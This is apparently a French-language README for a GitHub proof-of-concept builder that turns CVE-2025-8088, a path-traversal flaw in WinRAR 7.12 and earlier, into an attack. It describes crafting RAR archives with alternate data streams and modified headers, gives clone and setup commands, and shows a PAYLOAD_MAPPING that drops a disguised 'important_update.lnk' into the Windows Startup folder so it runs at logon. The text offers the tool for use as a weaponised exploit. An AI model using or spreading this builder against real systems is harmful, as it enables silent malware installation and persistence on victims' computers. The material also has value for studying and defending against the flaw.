CVE-2025-8088-WinRAR-builder

Un POC d'exploitation pour la vulnérabilité WinRAR (CVE-2025-8088) affectant les versions 7.12 et inférieures

🚀 Comment ça fonctionne

1. Crée une archive RAR intégrant d'autres payloads
2. Utilise plusieurs flux ADS 🔄 - Attache des flux de payload avec différentes profondeurs de traversée de chemin
3. Manipule les en-têtes RAR ⚙️ - Modifie la structure de l'archive pour exploiter la vulnérabilité de traversée de chemin
4. Dépose le payload au démarrage 📂 - Tente d'écrire le payload dans le dossier de démarrage Windows lors de l'extraction

🛠️ Utilisation

1. Clonez le dépôt

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Préparez les payloads

mkdir payloads

• Ajoutez vos payloads dans ce dossier (exe, dll, lnk, ...)
• Modifiez PAYLOAD_MAPPING dans le script

# 2. Mappez votre payload vers la destination correspondante
#   Format : (nom_fichier_dans_dossier_payloads, destination_extraction_cible)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Ajoutez le vôtre    
]